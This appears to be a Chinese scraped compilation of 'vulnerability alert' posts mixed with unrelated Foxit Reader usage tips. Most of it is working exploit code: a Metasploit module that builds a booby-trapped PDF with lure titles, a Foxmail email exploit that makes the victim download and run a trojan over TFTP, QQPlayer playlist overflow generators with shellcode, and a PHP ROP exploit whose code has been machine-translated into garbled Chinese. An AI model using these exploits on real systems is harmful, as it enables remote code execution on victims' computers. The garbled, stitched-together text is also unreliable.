福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警
“dgtomshine”通过精心收集,向本站投稿了8篇福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警,以下是小编为大家准备的福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警,仅供参考,欢迎大家阅读。
篇1:福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
include Msf::Exploit::Egghunter
#include Msf::Exploit::Seh # unused due to special circumstances
def initialize(info = {})
super(update_info(info,
'Name' => 'Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Foxit PDF Reader prior to version
4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that
contains an overly long string in the Title field. This results in overwriting a
structured exception handler record.
NOTE: This exploit does not use javascript.
},
'License' => MSF_LICENSE,
'Version' => “$Revision: 11096 $”,
'Author' =>
[
'dookie', # Discovered the bug
'Sud0', # Original exploit (from Offsec Exploit Weekend)
'corelanc0d3r', # Metasploit exploit
'jduck' # Metasploit-fu
],
'References' =>
[
#[ 'CVE', '' ],
[ 'OSVDB', '68648' ],
[ 'URL', 'www.exploit-db.com/exploits/15532' ],
[ 'URL', 'www.corelan.be:8800/index.php//11/13/offensive-security-exploit-weekend/' ]
],
'Payload' =>
{
'BadChars' => “x00x01x02x03x04x05x06x07x08x09x0ax0dx2Fx5cx3cx3ex5ex7e”,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EDI', # egghunter jmp edi
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'Foxit Reader v4.1.1 XP Universal', { 'Offset' => 540, 'Ret' => “x4Bx6A” } ] #unicode p/p/r foxit reader.exe
],
'DisclosureDate' => 'Nov 13 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The output filename.', 'corelan_foxit.pdf']),
OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/'])
], self.class)
end
def exploit
@label = rand_text_alpha(7)
nseh = “x5Ax41” # pop edx -- to make edx writable
seh = target['Ret']
# inc ecx / pop esp / popad / push esp / ret
align = “x41x61x5Cx5Cx41x61x41x54x41xC3”
ecx_control = “xB3x30xB3” # becomes ecx
hunter, @egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
# Encode with alphamixed, then unicode mixed
[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
enc = framework.encoders.create(name)
if name =~ /unicode/
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
else
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
end
# NOTE: we already eliminated badchars
hunter = enc.encode(hunter, nil, nil, platform)
if name =~/alpha/
#insert getpc_stub & align EDX, unicode encoder friendly.
#Hardcoded stub is not an issue here because it gets encoded anyway
getpc_stub = “x89xe1xdbxccxd9x71xf4x5ax83xc2x41x83xeax35”
hunter = getpc_stub + hunter
end
}
#tweak hunter, patched to make it write to ECX
hunter[1] = “a”
doctitles = [
“Confidential : Contract + Terms of Use”,
“Contract information”,
“Acquisition contract”,
“...loading, please wait...”,
“Trademark, patent and copyright information”,
“Limited Liability Partnership”,
“Partnership agreement”,
“Last will and testament”,
“How to hack gmail”,
“Running Metasploit on Windows Mobile”,
“Free torrent sites”,
“Lady Gaga naked”,
“Free Shopping vouchers”
]
sploit = ''
sploit << doctitles[rand(doctitles.length)]
sploit << “ ” * (target['Offset'] - sploit.length)
sploit << nseh << seh
sploit << align
sploit << ecx_control
sploit << hunter
file_create(make_pdf(sploit))
end
# Override the mixin obfuscator since it doesn't seem to work here.
def nObfu(str)
return str
end
def trailer(root_obj)
ret = 'trailer'
ret << nObfu(“<<< ioRef(root_obj)
ret << nObfu(”/Info “) << ioRef(5)
ret << nObfu(”/#{@label} #{@egg}“)
ret << nObfu(”>>“)
ret << eol
ret
end
def make_pdf(sploit)
@pdf << header('1.4')
add_object(1, nObfu(”>“))
add_object(2, nObfu(”“))add_object(3, nObfu(”<<< ioRef(4) << nObfu(“]>>”))
add_object(4, nObfu(“<<< ioRef(3) << nObfu(”/MediaBox[0 0 612 792]>>“))
add_object(5, nObfu(”“))
finish_pdf
end
篇2:福昕PDF阅读器护眼篇
技巧1,阅读界面选择。
选项卡模式界面
福昕PDF阅读器为用户提供了传统界面和选项卡模式界面两种,用户可根据自己的习惯选择阅读界面,使阅读、注释等操作更顺畅,小编习惯了Win7系统,所以更倾向于选项卡模式界面。
操作方法:工具栏→自定义工具栏→选择“重启后使用选项卡模式的工具栏”,操作完成后关闭阅读器,重新启动后的阅读界面就是选项卡模式,反之,在选项卡空白处点击鼠标右键,选择自定义工具栏,重启后使用选项卡模式的工具栏处留白,关闭阅读器后重启,设置完成。
技巧2,更换皮肤,
电脑资料
福昕PDF阅读器为用户提供了经典皮肤、黑色、蓝色、桔色、紫色等5种皮肤颜色,用户可根据自己的喜好或者文档内容选择适合的皮肤,小编偏好比较温和的桔色,阅读起来不刺激眼睛。
操作方法:选择工具栏→更改皮肤,弹出如上对话框,然后选择喜欢的颜色,点击应用、确定。在这里同样可以选择“重启后使用选项卡模式的工具栏”设置Ribbon界面。
技巧3,更换背景。
选择编辑→背景→添加(更新),用户可以添加纯色或图片背景,此外还可以选择工具栏→偏好设置→访问→改变文档颜色→自定义颜色,用户可根据需要选择修改页面背景色和文本颜色。小编选择了修改页面背景色,文本颜色还是保留黑色,修改后整个界面感觉比较温和舒服,也符合本人的习惯,此外感觉还颇符合内容的意境的,呵呵
技巧4, 阅读模式
阅读模式
整个界面设置完成后,就开始我们的阅读之旅吧,不过此时小编喜欢的选项卡界面的各选项卡占据了好大区域,总感觉阅读没那么畅快,有木有和小编一样感受的盆友?这时候小编又发现了一个比较好用的小工具,点击阅读器右上角
图标,或者在文本区域点击鼠标右键,同样选择该图标,我们就能进入阅读模式,这样阅读起来就畅快多了,如果还感觉不过瘾,可以点击选项卡的全屏,这样就可以全屏阅读了,阅读起来就更酣畅淋漓了,有木有!
篇3:福昕PDF阅读器新手使用指南
一、首先下载福昕PDF阅读器,进行安装。
安装导向
安装完成后,可以对软件的皮肤等进行设置
二、怎么打开pdf文件?
在桌面上双击图标 ,打开软件如下所示:
点击菜单栏中的文件按钮,选择“打开”选项
选择你要阅读查看的文件后点击“打开”按钮,就可以进行阅读,
如下图:
三、如何添加书签?
在阅读时,遇到文章很长,无法一次看完,这时我们就想到了书签,但阅读器也有书签吗?没错,福昕PDF阅读器就为你提供了书签功能,让你快速找到前次浏览页。
篇4:Foxmail 5远程缓冲区溢出漏洞漏洞预警
注:本文是2月xfocus成员在内部技术交流中提出的,在此之前,启明星辰技术人员已经发现这一漏洞,但未公开细节,xfocus成员听说存在这一漏洞后对Foxmail进行分析,并写出利用代码,
测试环境:win2k sp4+foxmail 5.0.300
以前测试foxmail 4.x的时候曾经发现过溢出漏洞,不过后来一直没时间研究就先放下了,后来听说Foxmail5也有溢出,但是一直没有看见公布。于是没事的时候干脆自己研究一下,测试后发现以前的溢出漏洞已经补上了,不过出了一个新的漏洞。
问题出在PunyLib.dll里面的UrlToLocal函数,估计这是一个用来处理垃圾邮件的链接库,当一封邮件被判定为垃圾邮件时,就会调用UrlToLocal来处理邮件体的“From: ”字段,处理过程中发生堆栈溢出,可以导致执行任意代码。
具体处理过程如下:
.text:10002040 public UrlToLocal
.text:10002040 UrlToLocal proc near
.text:10002040
.text:10002040 arg_0 = dword ptr 4
.text:10002040 arg_4 = dword ptr 8
.text:10002040
.text:10002040 mov eax, dword_1000804C
.text:10002045 mov ecx, dword_10008030
.text:1000204B mov edx, [esp+arg_4]
.text:1000204F push offset aHttp ; ”“
.text:10002054 push eax
.text:10002055 mov eax, [esp+8+arg_0]
.text:10002059 push offset unk_10008034
.text:1000205E push ecx
.text:1000205F push edx
.text:10002060 push eax
.text:10002061 call sub_10002070 ;调用10002070,其中参数里保存的是邮件体的“From: ”字段后面的内容
.text:10002070 sub_10002070 proc near ; CODE XREF: UrlToLocal+21p
.text:10002070 ; EmailAdrToLocal+107p
.text:10002070
.text:10002070 var_600 = dword ptr -600h
.text:10002070 var_500 = dword ptr -500h
.text:10002070 var_400 = dword ptr -400h
.text:10002070 var_300 = dword ptr -300h
.text:10002070 var_200 = dword ptr -200h
.text:10002070 var_100 = dword ptr -100h
.text:10002070 arg_0 = dword ptr 4
.text:10002070 arg_4 = dword ptr 8
.text:10002070 arg_8 = dword ptr 0Ch
.text:10002070 arg_C = dword ptr 10h
.text:10002070 arg_10 = dword ptr 14h
.text:10002070 arg_14 = dword ptr 18h
.text:10002070
.text:10002070 mov edx, [esp+arg_0]
.text:10002074 sub esp, 600h
......
.text:100020DF push eax
.text:100020E0 push ecx
.text:100020E1 push ebx
.text:100020E2 call sub_10001A30 ;调用10001A30,就是这个函数里面溢出了
.text:10001A30 sub_10001A30 proc near ; CODE XREF: sub_10002070+72p
.text:10001A30 ; sub_10002290+95p
.text:10001A30
.text:10001A30 var_104 = dword ptr -104h
.text:10001A30 var_100 = dword ptr -100h
.text:10001A30 arg_0 = dword ptr 4
.text:10001A30 arg_4 = dword ptr 8
.text:10001A30 arg_8 = dword ptr 0Ch
.text:10001A30 arg_C = dword ptr 10h
.text:10001A30 arg_10 = dword ptr 14h
.text:10001A30 arg_14 = dword ptr 18h
.text:10001A30
.text:10001A30 sub esp, 104h ;分配0x104字节大小的堆栈,但是拷贝的“From: ”字段最大为0x200
.text:10001A36 push ebx
.text:10001A37 mov ebx, [esp+108h+arg_0]
.text:10001A3E push ebp
.text:10001A3F mov ebp, [esp+10Ch+arg_10]
.text:10001A46 push esi
.text:10001A47 xor esi, esi
......
.text:10001AA9 sub edi, ecx
.text:10001AAB mov eax, ecx
.text:10001AAD mov esi, edi
.text:10001AAF mov edi, edx
.text:10001AB1 shr ecx, 2
.text:10001AB4 rep movsd ;这里进行内存拷贝的时候溢出了,按照“From: ”字段大小拷贝到0x104的缓冲区里
.text:10001AB6 mov ecx, eax
.text:10001AB8 and ecx, 3
.text:10001ABB rep movsb
......
.text:10001AE7 mov edi, [esp+114h+arg_C]
.text:10001AEE shr ecx, 2
.text:10001AF1 rep movsd ;这里有几处地方会对局部变量进行操作,因为这些变量都被覆盖了,所以需要把他们覆盖成可以写的地址,我覆盖的是0x7ffdf220这个地址,应该是PEB的区域,所以必须在后面shellcode里面把这个区域的内容恢复成0
.text:10001AF3 mov ecx, eax
.text:10001AF5 and ecx, 3
.text:10001AF8 rep movsb
......
.text:10001BD7 pop edi
.text:10001BD8 pop esi
.text:10001BD9 pop ebp
.text:10001BDA pop ebx
.text:10001BDB add esp, 104h
.text:10001BE1 retn ;返回的时候就会回到我们的JMP ESP地址去
这个溢出无法覆盖SEH,而且字符串里面不能包含“@,(,,,r,n”这些乱七八糟的字符。shellcode用的是ey4s写的用URLMON下载并运行exe文件的那个。
有些MAIL服务器会把shellcode截断,所以我又改了一下,用比较短的shellcode直接运行tftp来下载程序并运行,测试了一下成功率比原来有所提高,但是容易被防火墙给拦截下来。
/* fmx.c - x86/win32 Foxmail 5.0 PunyLib.dll remote stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team,
* All Rights Reserved
*
* This is unpublished proprietary source code of XFOCUS Security Team.
* It should not be distributed in any form. without express permission
* from XFOCUS Security Team.
*
* -----------------------------------------------------------------------
* Author : xfocus
* : www.xfocus.org
* Maintain : XFOCUS Security Team
* Version : 0.2
*
* Test : Windows server GB/XP professional
* + Foxmail 5.0.300.0
* Notes : unpublished vul.
* Greets : ey4s, and all member of XFOCUS Security Team.
* Complie : cl fmx.c
* Usage : fmx
* mail_addr: email address we wantto hack
* tftp_server: run a tftp server and have a a.exe trojan
* smtp_server: SMTP server don't need login, we send the email thru it
*
* Date : 2004-02-27
* Revised : 2004-03-05
*
* Revise History:
* -03-05 call WinExec addr of Foxmail.exe module to run tftp for down&execute
*/
#include
#include
#include
#pragma comment (lib,”ws2_32“)
//mail body, it's based on a real spam email, heh
unsigned char packet[] =
”From: %srn“ //buffer to overrun
”Subject: Hi,manrn“
”MIME-Version: 1.0rn“
”Content-Type: multipart/mixed; boundary=“87122827”rn“
”rn“
”rn“
”--87122827rn“
”Content-Type: text/plain; charset=us-asciirn“
”Content-Transfer-Encoding: 7bitrn“
”rn“
”Trn“
”rn“
”--87122827rn“
”Content-Disposition: attachmentrn“
”Content-Type: Text/HTML;rn“
” name=“girl.htm”rn“
”Content-Transfer-Encoding: 7bitrn“
”rn“
”rn“
”--87122827--rn“
”rn“
”.rn“;
//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.300)
unsigned char winexec[] =
”x83xecx50xebx0cxb9x41x10xd3x5dxc1xe9x08xffx11xebx08x33xdbx53xe8xecxffxffxff“;
//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
unsigned char winexec2[] =
”x83xecx50xebx0cxb9x41x10xa3x5dxc1xe9x08xffx11xebx08x33xdbx53xe8xecxffxffxff“;
#define SMTPPORT 25
int Make_Connection(char *address,int port,int timeout);
int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char *shellcode);
int main(int argc, char * argv[])
{
WSADATA WSAData;
char *mailaddr = NULL;
char *tftp = NULL;
char *smtpserver = NULL;
if(argc!=4)
{
printf(”Usage: %s
return 1;
}
mailaddr=argv[1];
tftp=argv[2];
smtpserver=argv[3];
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf(”WSAStartup failed.n“);
WSACleanup();
exit(1);
}
//WinExec() address
SendXMail(mailaddr, tftp, smtpserver, winexec); //WinExec() address in Foxmail.exe module(foxmail 5.0.300)
SendXMail(mailaddr, tftp, smtpserver, winexec2); //WinExec() address in Foxmail.exe module(foxmail 5.0.210 BETA2)
WSACleanup();
return 0;
}
// 建立TCP连接
// 输入:
// char * address IP地址
// int port 端口
// int timeout 延时
// 输出:
// 返回:
// 成功 >0
// 错误 <=0
int Make_Connection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctlsocket(s,FIONBIO,&bf);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
closesocket(s);
return -3;
}
if(i==0)
{
closesocket(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
closesocket(s);
return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}
//send magic mail
int SendXMail( char *mailaddr, char *tftp, char *smtpserver, char *shellcode)
{
SOCKET csock;
int ret,i=0;
char buf[510], sbuf[0x10000], tmp[500], tmp1[500];
csock = Make_Connection(smtpserver, SMTPPORT, 10);
if(csock<0)
{
printf(”connect err.n“);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(”recv err.n“);
exit(1);
}
printf(buf);
ret=send(csock, ”HELO serverrn“,strlen(”HELO serverrn“), 0);
if(ret<=0)
{
printf(”send err.n“);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(”recv err.n“);
exit(1);
}
printf(buf);
ret=send(csock, ”MAIL FROM: info@sina.comrn“,strlen(”MAIL FROM: info@sina.comrn“), 0);
if(ret<=0)
{
printf(”send err.n“);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(”recv err.n“);
exit(1);
}
printf(buf);
sprintf(tmp, ”RCPT TO: %srn“, mailaddr);
ret=send(csock, tmp,strlen(tmp), 0);
if(ret<=0)
{
printf(”send err.n“);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(”recv err.n“);
exit(1);
}
printf(buf);
Sleep(1000);
ret=send(csock, ”DATArn“,strlen(”DATArn“), 0);
if(ret<=0)
{
printf(”send err.n“);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(”recv err.n“);
exit(1);
}
printf(buf);
printf(”send exploit mail...n“);
memset(sbuf, 0, sizeof(sbuf));
memset(buf, 0, sizeof(buf));
memset(buf, 0x41, sizeof(buf)-1);
memset(tmp, 0, sizeof(tmp));
//strcpy(tmp, winexec);//WinExec() address in Foxmail.exe module(foxmail 5.0.300)
strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module
strcat(tmp, ”cmd /c tftp -i %s get a.exe&a.exe:“);
sprintf(tmp1, tmp, tftp);
memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));
*(int *)(buf+0x100)=0x7ffa54cd; //ret addr jmp esp
*(int *)(buf+0x104)=0x80eb80eb; //jmp back
*(int *)(buf+0x108)=0x7ffdf220; //writeable addr
*(int *)(buf+0x110)=0x7ffdf220; //writeable addr
memcpy(buf, ”girlx0d“, 5);
sprintf(sbuf, (char *)packet, buf);
ret=send(csock, sbuf,strlen(sbuf), 0);
if(ret<=0)
{
printf(”send err.n“);
exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
printf(”recv err.n“);
exit(1);
}
printf(buf);
printf(”exploit mail sent.n“);
closesocket(csock);
return 0;
}
安全焦点
篇5:QQPlayer CUE文件缓冲区溢出漏洞漏洞预警
#!/usr/bin/env python
#################################################################
#
# Title: QQPlayer cue File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com
# Platform. Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer<=2.3.696.400p1
#
#################################################################
# Code :
head = ''''''FILE ”''''''
junk = “A” * 780
nseh =“x42x61x21x61”
seh =“xa9x9ex41x00”
adjust=“x32x42x61x33xcax83xc0x10”
shellcode=(“hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o”
“0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41”
“H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK”
“NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01”)
junk_=“R”*8000
foot =''''''.avi“ VIDEO''''''+”x0a“''''''TRACK 02 MODE1/8888''''''+”x0a“+”INDEX 08 08:08:08“
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot
fobj = open(”poc.cue“,”w“)
fobj.write(payload)
fobj.close()
篇6:QQPlayer asx文件处理缓冲区溢出漏洞漏洞预警
#################################################################
#
# Title: QQPlayer asx File Processing Buffer Overflow Exploit
# Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University
# Vendor: www.qq.com
# Platform. Windows XPSP3 Chinese Simplified
# Test: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer<=2.3.696.400p1
#
#################################################################
# Code :
head =''''''
junk = ”A“ * 1975
nseh =”x42x61x21x61“
seh =”xa9x9ex41x00“
adjust=”x30x83xc0x0c“
shellcode=(”PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV“
”QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL“
”KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9“
”QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW“
”TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R“
”HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA“)
junk_=”R“*8000
foot =''''''_playlis.wma”/>
''''''
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot
fobj = open(“poc.asx”,“w”)
fobj.write(payload)
fobj.close
篇7:福昕阅读器“另存为” 一键转换PDF格式为TXT文档
下载地址:福昕阅读器
第一步,使用福昕阅读器打开PDF 文件(比如:新东方高中英语核心单词精选.pdf),
第二步,选择菜单栏“文件”--“另存为”,以“文本文件”格式保存,即可转换为TXT文档格式。
选择以“文本文件”格式保存
Txt格式
篇8:PHP 5.3.6缓冲区溢出POC(ROP)的CVE漏洞预警
<?PHP
/ *
** xiaolandjj@qq.com
** bbs.xxoxo.org
** 2011年7月15日
**基于堆栈的缓冲区溢出,在ext /插座/ sockets.c socket_connect功能
在PHP 5.3.3到5.3.6可能依赖于上下文的攻击者执行任意
**代码通过UNIX套接字的路径名,
**由:小兰
* /
回声“[+] PHP 5.3.6缓冲区溢出的POC(ROP)的 N”;
回声“[+] CVE - 2011 - 1938 N N”;
#/ usr / bin中/ PHP的小工具
定义(“哑”,“ X42 X42 X42 X42”); / /填充
定义(“栈”,“ X20 XBA X74 X08”); / /数据0x46a0 0x874ba20
定义(“STACK4”,“中 X24 XBA X74 X08”); / / STACK + 4
定义(“STACK8”,“ X28 XBA X74 X08”); / /栈+ 8
定义(“STACK12”,“ x3c XBA X74 X08”); / /栈+ 12
定义(INT_80“,” X27 xb6 X07 X08“); / / 0x0807b627:INT 0x80的
定义(“INC_EAX”,“ X66 X50 X08 x0f”); / / 0x080f5066:INC%eax中| RET
定义(“XOR_EAX',” X60 XB4 X09 X08“); / / 0x0809b460:XOR EAX%,%eax中| RET
定义(“MOV_A_D”,“ X84 x3e X12 X08”); / / 0x08123e84:MOV EAX%,(%edx中)| RET
定义(“POP_EBP”,“ xc7 X48 X06 X08”); / / 0x080648c7:弹出%EBP | RET
定义(“MOV_B_A',” X18 X45 X06 X08“); / / 0x08064518:MOV的%ebp,%eax中|弹出%EBX |弹出%ESI |弹出%EDI |弹出%EBP | RET
定义(“MOV_DI_DX',” X20 X26 X07 X08“); / / 0x08072620:MOV%EDI,%edx中|弹出%ESI |弹出%EDI |弹出%EBP | RET
定义(“POP_EDI”,“ X23 X26 X07 X08”); / / 0x08072623:弹出%EDI |弹出%EBP | RET
定义(“POP_EBX”,“ x0f x4d X21 X08”); / / 0x08214d0f:弹出%EBX |弹出%ESI |弹出%EDI |弹出%EBP | RET
定义(“XOR_ECX”,“ XE3 X3B x1f X08”); / / 0x081f3be3:XOR%ECX,%ecx中|弹出%EBX | MOV ECX%,%eax中|弹出%ESI |弹出%EDI |弹出% EBP | RET
美元padd = str_repeat(“A”,196);
为有效载荷= POP_EDI,
/ /弹出%EDI
堆栈。/ / 0x874ba20
假人。/ /弹出的%ebp
MOV_DI_DX。%/ / MOV EDI,EDX%
假人。/ /弹出%ESI
假人。/ /弹出%EDI
“/ / BI”。/ /弹出的%ebp
MOV_B_A。/ / MOV的%ebp,%eax中
假人。/ /弹出%ebx中
假人。/ /弹出%ESI
假人。/ /弹出%EDI
假人。/ /弹出的%ebp
MOV_A_D。%/ / MOV EAX,(%edx中)
POP_EDI。/ /弹出%EDI
STACK4。/ / 0x874ba24
假人。/ /弹出的%ebp
MOV_DI_DX。%/ / MOV EDI,EDX%
假人。/ /弹出%ESI
假人。/ /弹出%EDI
“N / sh”的。/ /弹出的%ebp
MOV_B_A。/ / MOV的%ebp,%eax中
假人。/ /弹出%ebx中
假人。/ /弹出%ESI
假人。/ /弹出%EDI
假人。/ /弹出的%ebp
MOV_A_D。%/ / MOV EAX,(%edx中)
POP_EDI。/ /弹出%EDI
STACK8。/ / 0x874ba28
假人。/ /弹出的%ebp
MOV_DI_DX。%/ / MOV EDI,EDX%
假人。/ /弹出%ESI
假人。/ /弹出%EDI
假人。/ /弹出的%ebp
XOR_EAX。%/ / XOR EAX,%eax中
MOV_A_D。%/ / MOV EAX,(%edx中)
XOR_ECX。/ / XOR%,ECX,ECX%
假人。/ /弹出%ebx中
假人。/ /弹出%ESI
假人。/ /弹出%EDI
假人。/ /弹出的%ebp
POP_EBX。/ /弹出%ebx中
堆栈。/ / 0x874ba20
假人。/ /弹出%ESI
假人。/ /弹出%EDI
假人。/ /弹出的%ebp
XOR_EAX。%/ / XOR EAX,%eax中
INC_EAX。/ / INC EAX%
INC_EAX。/ / INC EAX%
INC_EAX。/ / INC EAX%
INC_EAX。/ / INC EAX%
INC_EAX。/ / INC EAX%
INC_EAX。/ / INC EAX%
INC_EAX。/ / INC EAX%
INC_EAX。/ / INC EAX%
INC_EAX。/ / INC EAX%
INC_EAX。/ / INC EAX%
INC_EAX。/ / INC EAX%
INT_80; / / INT 0x80的美元
邪恶= $ padd美元的有效载荷。
$ FD = socket_create(AF_UNIX,SOCK_STREAM,1);
$ RET = socket_connect(FD,邪恶美元);
?>
【福昕PDF阅读器v4.1.1标题堆栈缓冲区溢出漏洞预警】相关文章:






文档为doc格式